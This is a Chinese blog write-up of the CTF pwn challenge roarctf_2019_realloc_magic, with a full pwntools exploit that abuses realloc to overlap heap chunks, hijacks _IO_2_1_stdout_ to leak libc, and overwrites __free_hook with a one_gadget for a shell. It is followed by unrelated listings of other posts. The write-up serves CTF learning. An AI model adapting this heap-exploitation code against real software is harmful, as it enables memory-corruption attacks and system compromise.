【pwn】 roarctf_2019_realloc_magic

【BUUCTF】roarctf_2019_realloc_magic---从一道题认识realloc函数+stdout泄露libc地址实战 realloc好题 阅读详情

例行检查
在这里插入图片描述保护全开,分析程序逻辑。发现没有输出堆内容的函数,想要泄露libc地址只能通过修改IO_FILE结构体实现。realloc函数有两个trick。在size为0时,free掉指针指向的堆块,返回0;在分配超过当前指针指向堆块大小时如果有剩余空间则扩大堆块大小。

利用思路
1.堆块free 8次放进unsortbin中,在fd上得到arena地址,通过realloc扩大堆块的特性造成堆块堆叠,就可以修改到fd部分,由于_IO_2_1_stdout_与arena只相差4位,且低三位已知,剩余一位可以爆破,概率1/16。于时可以分配到_IO_2_1_stdout_。修改flag位,且把write_base调低,下次在调用输出函数时会将libc中地址输出出来。
2.得到libc之后就可以将free_hook改为one_gadget从而getshell。

from pwn import *


libc=ELF('./libc-2.27.so')

def realloc(size,data):
    io.recvuntil('>> ')
    io.sendline('1')
    io.recvuntil('Size?')
    io.sendline(str(size))
    io.recvuntil('Content?')
    io.send(data)

def free():
    io.recvuntil('>> ')
    io.sendline('2')  

def pwn():
    realloc(0x70,'a')
    realloc(0,'')
    realloc(0x100,'b')
    realloc(0,'')
    realloc(0xa0,'c')
    realloc(0,'')

    realloc(0x100,'b')
    [free() for i in range(7)] #fill tcache
    realloc(0,'') #to unsortbin fd->arena
    realloc(0x70,'a')
    realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))#overlap

    realloc(0,'')
    realloc(0x100,'a')
    realloc(0,'')
    realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))#get _IO_2_1_stdout_  修改flag和write_base
    
    #get_libc
    libc_base=u64(io.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,'\x00'))-0x3e82a0 #这里偏移可以自己选
    if libc_base == -0x3e82a0:
        exit(-1)
    print(hex(libc_base))
    free_hook=libc_base+libc.sym['__free_hook']
    one_gadget=libc_base + 0x4f322

    io.sendline('666')
    realloc(0x120,'a')
    realloc(0,'')
    realloc(0x130,'a')
    realloc(0,'')
    realloc(0x170,'a')
    realloc(0,'')
    
    realloc(0x130,'a')
    [free() for i in range(7)]
    realloc(0,'')

    realloc(0x120,'a')
    realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook))
    realloc(0,'')
    realloc(0x130,'a')
    realloc(0,'')
    realloc(0x130,p64(one_gadget))
    io.interactive()


if __name__ == "__main__":
    while True:
        io=remote('node3.buuoj.cn',27869)
        try:
            pwn()
        except:
            io.close()

BUUCTF-PWN roarctf_2019_realloc_magic(tcache attack,块重叠,劫持_IO_2_1_stdout_泄露libc) 目录题目分析漏洞利用Exp 题目分析 free没有限制,可以多次free 使用realloc进行内存分配,没有限制大小 realloc的几个特殊用法(摘自官方WP) size == 0 ,这个时候等同于free realloc_ptr == 0 && size > 0 , 这个时候等同于malloc malloc_usable_size(realloc_ptr) &g... 阅读详情

相关推荐

Roar CTF 2019 坦克大战 Writeup

下载压缩包 解压看到 可知该游戏由Unity3D编写,由于没有相关逆向经验,上网查阅得知游戏代码部分都在Assembly-CSharp.dll文件中,通过dnspy可以打开此类型的dll. 直接查看跟题目相关的函数,在MapManager下有名为WinGame的函数.源码如下 // MapManager // Token: 0x06000029 RID: 41 RVA: 0x00003050 ...

Secz的博客 2541

roarctf_2019_realloc_magic

roarctf_2019_realloc_magic 查看保护

z1r0的博客 646

RoarCTF2019部分Writeup

Easy Calc 页面源码线索中得到calc.php <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"'...

Sea_Sand息禅 1203

roarctf_2019_realloc_magic 详细学习理解 无show()利用IO_FILE输出+realloc分配实现

roarctf_2019_realloc_magic 这道题从头到尾都是我的知识盲区… 爆破,IO_FILE,realloc 学习资料 利用IO_FILE泄露libc原理 IO_FILE泄露libc例题 wp参考 realloc重要知识 静态分析 可以看出程序只有对realloc的调用操作,只有add()和delete()没有泄露函数。一般堆题如果没有show()函数,plt里面也没有system,可以采用的方法是劫持IO_FILE泄露。 IO_FILE劫持思路 对于劫持IO_FILE的思路,我的理解是

weixin_46521144的博客 1057

phpstudy自定义安装mysql8.3并启动

下载压缩包文件然后按下面的图片一步一步操作选择版本,选择第一个压缩包文件,下载下载完成后,解压到phpstudy环境目录下

互联网碎碎念 2802

快速搭建SpringBoot3+Vue3+ElementPlus管理系统

快速搭建SpringBoot3+Vue3管理系统前端项目搭建(默认开发环境:node20,Jdk17)创建项目并下载依赖--执行以下命令 前端项目搭建(默认开发环境:node20,Jdk17) 创建项目并下载依赖–执行以下命令 创建项目 yarn create vite admin-vue --template 2.下载依赖(也可按需下载) yarn add echarts --save yarn add vue-router --save yarn add element-plus --save y

adingyb的博客 2817

roarctf_2019_realloc_magic(realloc,IO_file_leak,doublefree)

roarctf_2019_realloc_magic: 保护全开 逆向分析: 主界面: re: fr: ba:

m0_51251108的博客 414

Flowable多数据源实战:从配置到指定Schema的避坑指南

本文详细介绍了Flowable多数据源配置的实战指南,包括基础配置、数据源Bean创建、指定Schema的进阶配置以及常见问题排查。通过具体代码示例和避坑建议,帮助开发者高效实现多租户系统中的工作流引擎集成,特别强调了schema设置和事务管理的注意事项。

weixin_30824599的博客 486

pwn--realloc [CISCN 2019东南]PWN5

其中,ptr是指向之前分配的内存块的指针,size是要分配的新内存块的大小(以字节为单位)。当需要增加内存空间时,realloc会分配一个新的更大的内存块,然后将原内存块的内容复制到新块中,并释放原内存块;当需要减少内存空间时,realloc会尝试将内存块的大小减少到新的大小,并返回调整后的内存块地址。但通过gdb调试发现,堆块大小为0x20,也就是说malloc(0),malloc(8)和malloc(0x10)效果其实是一样的,由于fd指针和bk指针,一个chunk的大小至少是0x20。

A13837377363的博客 644

NXP S32K5 MCU如何赋能Zonal架构与软件定义汽车?

汽车电子架构正从分布式ECU向域集中、再向Zonal分区架构演进,核心驱动力在于线束简化、算力下沉与软件分层解耦。区域控制器作为物理区域的“调度员”,需要同时满足实时响应、功能安全、多网络协议转换和OTA升级等要求,这使MCU与SoC的选型成为系统工程的关键决策。MCU凭借确定性的微秒级启动、低功耗、丰富的IO控制以及成熟的ASIL-D认证路径,仍是区域控制器的主流选择。NXP S32K5正是面向这一场景发布的系列MCU:它集成多核锁步、CAN-XL、TSN以太网、硬件安全模块与双Bank Flash,补齐

weixin_28721917的博客 357

JS逆向-快手__NS_hxfalcon参数分析

现在快手H5接口都需要__NS_hxfalcon这个参数,这篇文章就是逆向这个参数

ckcookies的博客 4075

BUUCTF pwn wp 126 - 130

gyctf_2020_document ciscn_2019_final_5 roarctf_2019_realloc_magic houseoforange_hitcon_2016 SWPUCTF_2019_login

fa1c4的blog 1892

MATLAB算法实战应用案例精讲-【数模应用】梯度提升决策树(GDBT)(附python代码)

GBDT(Gradient Boosting Decision Tree) 又叫 MART(Multiple Additive Regression Tree),是一种迭代的决策树算法,该算法由多棵决策树组成,它在被提出之初就和SVM一起被认为是泛化能力(generalization)较强的算法。近些年更因为被用于搜索排序的机器学习模型而引起大家关注。.........

qq_36130719的博客 2078

buuoj Pwn writeup 116-120

116 roarctf_2019_realloc_magic 117 [BJDCTF 2nd]rci 118 wustctf2020_number_game 119 picoctf_2018_are you root 120 [GKCTF2020]Domo

yongbaoii的博客 402

10万张数据集持续迭代:YOLO模型的场景专属自进化体系如何搭建?

做工业质检的朋友应该都有过这样的经历——拿着在COCO上刷榜的YOLO模型跑到产线上一测,精度直接腰斩。这不是模型不行,是场景不对口。过去一年,我深度参与了一个工业视觉项目:产线每天产生超过10万张图像,需要持续迭代检测模型。我们踩过无数坑,最终摸索出一套YOLO模型的场景专属自进化体系。今天不聊虚的,直接上干货。让模型在真实场景数据中持续学习、自动进化,而不是每次依赖人工标注从头训练。下面我从主动学习筛选、增量持续学习、架构选型、部署优化、安全防护五个维度,拆解整个搭建过程。声明。

2601_95807009的博客 106

SAPIEN ManiSkill3 入门教程(一)

请注意,table.set_pose(pose) 设置的是演员在世界帧中的坐标系姿势。移除的实体可以再次添加到场景中,但已在场景中的实体则不能再次添加。显示器可以是物理的(如显示器),也可以是虚拟的(如 VNC)。我们可以通过 get_pose()、get_linear_velocity() 和 get_angular_velocity()获取演员的运动量(姿势、线速度、角速度)。现在,让我们创建一个斜坡。例如,您可能需要一个简单的碰撞形状来进行快速模拟,但却需要一个复杂的视觉形状来进行逼真的渲染。

机器人控制与仿真应用 3074

pwn题堆利用的一些姿势 -- IO_FILE

IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 概述   这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍   FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st

lifanxin的博客 6074

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

roarctf_2019_easyheap

roarctf_2019_easyheap 查看保护 有一个大uaf,show的条件是bss上的一个数据应该 为0xdead… 在666中可以进行删除和创建,这里有一个bug,602010这个数据变成0之后–就是成负数可以无限次使用了 攻击思路:因为有uaf和666这个功能,所以我们构造fastbin attack 形成double free,其实fastbin attack使用的是fastbin_dup_consolidate这个手法。构造出double free之后将堆申请到name_addr这里

z1r0的博客 647

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

roarctf_2019_easy_pwn

64位,保护全开add这里,size创建不能大于0x1000,edit这里乍一看没啥,实际上有个size的比较函数这里如果从edit里面输入的size,跟你申请的size相差0xa就能有个dele这里没有uafshow这里判断申请那个值是否为1,才给你show。

qq_62887641的博客 308

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

CTF-PWN: 学习堆利用你所需要知道的基础知识

堆是计算机内存中的一个区域,专门用来存放动态分配的内存。你可以把它想象成一个“大仓库”,程序运行时需要一些内存(比如一块内存来存储一个大的数据结构),就会去这个“仓库”里借内存。

weixin_59166557的博客 1181

realloc函数利用实现double free

ciscn_2019_es_5

tbsqigongzi的博客 368

buuctf realloc _IO_2_1_stdout_泄露libc地址 32位格式化字符串 UAF diff SSH SCP jmp-rsp orw seccomp_tools

文章目录roarctf_2019_realloc_magic roarctf_2019_realloc_magic 贴几个链接: https://blog.youkuaiyun.com/weixin_44145820/article/details/105585889 https://blog.youkuaiyun.com/seaaseesa/article/details/105590591 https://blog.youkuaiyun.com/weixin_42151611/article/details/99228675 exp:

carol2358的博客 879

利用realloc调整栈使one_gadget生效

前言 当堆题保护全开的时候。PIE保护几乎使得unlink失效(除非能够计算出程序基址),FULL RELEO也使得函数GOT表不可修改。此时常覆盖各种函数的hook为one_gadget来getshell。 我常考虑的顺序是: free_hook->malloc_hook->IO_FILE->exit_hook 若有沙盒限制,则考虑setcontext 当free_hook不可打时(例如Fastbin Attack时free_hook前不能构造字节错位),我们往往就会打malloc_ho

N1rvana的博客 928

[pwn]堆:realloc_hook控制栈结构达成onegadget

[pwn]realloc_hook控制栈结构达成onegadget 文章目录[pwn]realloc_hook控制栈结构达成onegadgetchunk extend通过realloc调整栈帧来满足onegadgeteasy_pwn wp chunk extend chunk extend是一种限制比较少的堆利用方式,通常通过off by one或off by null来利用。 chuank ex...

Breeze的博客 1万+

【pwn学习】堆溢出(一)

pwn中堆溢出的学习

Morphy_Amo的博客 6499

PWN学习总结(不断完善中)(有道云笔记)

学习路线 pwn一些概念理解 王爽汇编学习笔记 DOS-BOX及编译工具–百度网盘 提取码: ajba linux知识学习(CTF主要考察linux环境下的漏洞利用)—菜鸟教程 nala包管理命令(个人感觉比apt好用) python知识学习(写exp用)----菜鸟教程 gcc编译过程(了解一下) vim用法(好难,正在学) pacvim游戏 ctf-wiki-pwn漏洞利用总结图 刷题网站 BUUCTF BUUCTF—libc源码 攻防世界 pwn环境搭建 借用另一个博主的pwn环境配置文章 再加上几个

tbsqigongzi的博客 3695
上一篇: 【pwn】 gyctf_2020_borrowstack
下一篇: 【pwn】 ciscn_2019_s_4
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值